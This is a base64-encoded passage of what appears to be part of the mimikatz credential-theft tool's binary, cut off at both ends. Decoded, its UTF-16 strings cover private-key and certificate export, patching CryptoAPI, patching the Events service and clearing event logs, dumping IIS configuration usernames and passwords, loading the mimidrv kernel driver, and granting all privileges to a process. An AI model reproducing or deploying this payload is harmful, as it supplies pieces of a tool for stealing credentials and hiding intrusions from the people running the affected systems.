QBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAHMAaQBsAGUAbgB0AAAAAABuAG8AawBlAHkAAABNAHkAAAAAAAAAAABzAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAAAAAAAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAGsAZQB5AFMAcABlAGMAIAA9AD0AIABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAFMAUABFAEMAIAB3AGkAdABoAG8AdQB0ACAAQwBOAEcAIABIAGEAbgBkAGwAZQAgAD8ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAcAByAG8AdgBpAGQAZQByAHQAeQBwAGUAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAAAAAAAAgACAAIAAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAUAByAG8AdgBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAAAAAAAAVQBuAGkAcQB1AGUAIABOAGEAbQBlAAAAIAAgACAAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAAAAAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABSAFMAQQBQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAATgBDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAG8AIABDAE4ARwAhAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAQwBBAFAASQBQAFIASQBWAEEAVABFAEIATABPAEIAAABPAEsAAAAAAEsATwAAAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAJQBzACAALQAgAAAAJwAlAHMAJwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGcAZQBuAGUAcgBhAHQAZQBGAGkAbABlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABwAGYAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFAAZgB4ACAAOwAgAFAARgBYAEUAeABwAG8AcgB0AEMAZQByAHQAUwB0AG8AcgBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABkAGUAbABlAHQAZQAgAHQAZQBtAHAAIABrAGUAeQBzAGUAdAAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwBlAHIAdABBAGQAZABFAG4AYwBvAGQAZQBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAG8AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAgACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAABbACUAMAA0AHgALwAlAHgAXQAgACUAcwAKAAAAIAAgAAAAAAAAAAAAUAByAG8AdgBpAGQAZQByACAAaQBuAGYAbwA6AAoAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAAAAAAAAAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkAUABhAHIAYQBtACAAKAB0AG8AZABvACkAIAAgACAAOgAgACUAMAA4AHgAIAAvACAAJQAwADgAeAAKAAAAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnAAoAAAAAAGYAaQBsAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcwB5AHMAdABlAG0AIAA7ACAASQBuAHAAdQB0ACAATQBpAGMAcgBvAHMAbwBmAHQAIABDAHIAeQBwAHQAbwAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBmAGkAbABlADoAZgBpAGwAZQBuAGEAbQBlAHwAZABpAHIAZQBjAHQAbwByAHkAKQAKAAAAYwByAGwAAABjAHQAbAAAAGsAZQB5AGkAZAAAAAAAAABEAGEAdABhADoAIAAAAAAAJQBzAC4AJQBzAAAAAAAAAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAOgAgACUAcwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBmAGkAbABlAF8AcgBhAHcARABhAHQAYQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABuAGMAcgB5AHAAdAAuAGQAbABsAAAAAABuAGMAcgB5AHAAdABwAHIAbwB2AC4AZABsAGwAAAAAAEsAZQB5AEkAcwBvAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAbgBnACAAOwAgAE4AbwAgAEMATgBHAAoAAABkAHIAbwBwAAAAAAAAAAAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAYwBsAGUAYQByAAAAAAAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABlAHYAZQBuAHQAAAAAAAAARQB2AGUAbgB0ACAAbQBvAGQAdQBsAGUAAAAAAAAAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAAAAAAHcAZQB2AHQAcwB2AGMALgBkAGwAbAAAAEUAdgBlAG4AdABMAG8AZwAAAAAAAAAAAFMAZQBjAHUAcgBpAHQAeQAAAAAAAAAAAGwAbwBnAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAAQwBsAGUAYQByAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAE8AcABlAG4ARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAYQBwAHAAaABvAHMAdAAAAGkAaQBzAAAASQBJAFMAIABYAE0ATAAgAEMAbwBuAGYAaQBnACAAbQBvAGQAdQBsAGUAAAAAAAAALwAvAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ALwBzAHkAcwB0AGUAbQAuAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC8AYQBwAHAAbABpAGMAYQB0AGkAbwBuAFAAbwBvAGwAcwAvAGEAZABkAAAAAAAAAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAHMAeQBzAHQAZQBtAC4AYQBwAHAAbABpAGMAYQB0AGkAbwBuAEgAbwBzAHQALwBzAGkAdABlAHMALwBzAGkAdABlAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAIAA7ACAATQBpAHMAcwBpAG4AZwAgAC8AaQBuADoAZgBpAGwAZQBuAGEAbQBlACAAKABhAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAuAGMAbwBuAGYAaQBnACkACgAAAAAAAAAKACoAIABBAHAAcABsAGkAYwBhAHQAaQBvAG4AUABvAG8AbAA6ACAAJwAlAHMAJwAKAAAAAAAAAHAAcgBvAGMAZQBzAHMATQBvAGQAZQBsAAAAAAAAAAAAdQBzAGUAcgBOAGEAbQBlAAAAAAAAAAAAIAAgAFUAcwBlAHIAbgBhAG0AZQA6ACAAJQBzAAoAAAAgACAAUABhAHMAcwB3AG8AcgBkADoAIAAlAHMACgAAAAoAKgAgAFMAaQB0AGUAOgAgACcAJQBzACcACgAAAAAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAAAAcABhAHQAaAAAAAAAAAAAACAAIAA+ACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAAUABhAHQAaAA6ACAAJQBzAAoAAAAAAAAAdgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAAAAAAAAAAACAAIAAgACAALQAgAFYAaQByAHQAdQBhAGwARABpAHIAZQBjAHQAbwByAHkAIABQAGEAdABoADoAIAAlAHMAIAAoACAAAAAAAHAAaAB5AHMAaQBjAGEAbABQAGEAdABoAAAAAAAAAAAAIAApAAoAAAAgACAAIAAgACAAIABVAHMAZQByAG4AYQBtAGUAOgAgACUAcwAKAAAAIAAgACAAIAAgACAAUABhAHMAcwB3AG8AcgBkADoAIAAlAHMACgAAAFsAZQBuAGMAOgAAAAAAAAA6AGUAbgBjAF0AAAAAAAAAIAAgAHwAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAlAHMACgAgACAAfAAgAEQAYQB0AGEAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAGMAbwBuAGYAaQBnAFAAcgBvAHQAZQBjAHQAZQBkAEQAYQB0AGEALwBwAHIAbwB2AGkAZABlAHIAcwAvAGEAZABkAAAAAAAAAHQAeQBwAGUAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0AC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEgAbwBzAHQALgBBAGUAcwBQAHIAbwB0AGUAYwB0AGUAZABDAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAFAAcgBvAHYAaQBkAGUAcgAAAGsAZQB5AEMAbwBuAHQAYQBpAG4AZQByAE4AYQBtAGUAAAAAAAAAAAAgACAAfAAgAEsAZQB5AE4AYQBtAGUAIAAgACAAOgAgACUAcwAKAAAAcwBlAHMAcwBpAG8AbgBLAGUAeQAAAAAAdQBzAGUATQBhAGMAaABpAG4AZQBDAG8AbgB0AGEAaQBuAGUAcgAAAHQAcgB1AGUAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByACAAOwAgAHQAeQBwAGUAIABpAHMAIABuAG8AdAAgAHMAdQBwAHAAbwByAHQAZQBkACAAKAAlAHMAKQAKAAAAbABpAHYAZQAAAAAAAAAAACAAIAB8ACAATABpAHYAZQAgAEsAZQB5ACAAIAA6ACAAJQBzACAALQAgACUAcwAgADoAIAAAAAAAIAAgAHwAIABQAFYASwAgAGYAaQBsAGUAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAUgBTAEEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACAAfAAgAFAAYQBzAHMAdwBvAHIAZAAgACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAcwBlAHMAcwBpAG8AbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByAF8AZABlAGMAcgB5AHAAdAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAArAAAAAAAAAAAAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAAAAAAcABpAG4AZwAAAAAAAAAAAFAAaQBuAGcAIAB0AGgAZQAgAGQAcgBpAHYAZQByAAAAYgBzAG8AZAAAAAAAAAAAAEIAUwBPAEQAIAAhAAAAAABwAHIAbwBjAGUAcwBzAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAFAAcgBvAHQAZQBjAHQAIABwAHIAbwBjAGUAcwBzAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAAAAAABEAHUAcABsAGkAYwBhAHQAZQAgAHAAcgBvAGMAZQBzAHMAIAB0AG8AawBlAG4AAABwAHIAbwBjAGUAcwBzAFAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAAAAUwBlAHQAIABhAGwAbAAgAHAAcgBpAHYAaQBsAGUAZwBlACAAbwBuACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAG0AbwBkAHUAbABlAHMAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAAAAAAHMAcwBkAHQAAAAAAAAAAABMAGkAcwB0ACAAUwBTAEQAVAAAAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAAAAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAABuAG8AdABpAGYAVABoAHIAZQBhAGQAAABMAGkAcwB0ACAAdABoAHIAZQBhAGQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAUgBlAGcAAAAAAAAAAABMAGkAcwB0ACAAcgBlAGcAaQBzAHQAcgB5ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AAAATABpAHMAdAAgAG8AYgBqAGUAYwB0ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAAAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAAAAAABzAHkAcwBlAG4AdgBzAGUAdAAAAAAAAAAAAAAAAAAAAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAUwBlAHQAAABzAHkAcwBlAG4AdgBkAGUAbAAAAAAAAAAAAAAAAAAAAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAARABlAGwAZQB0AGUAAAAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0A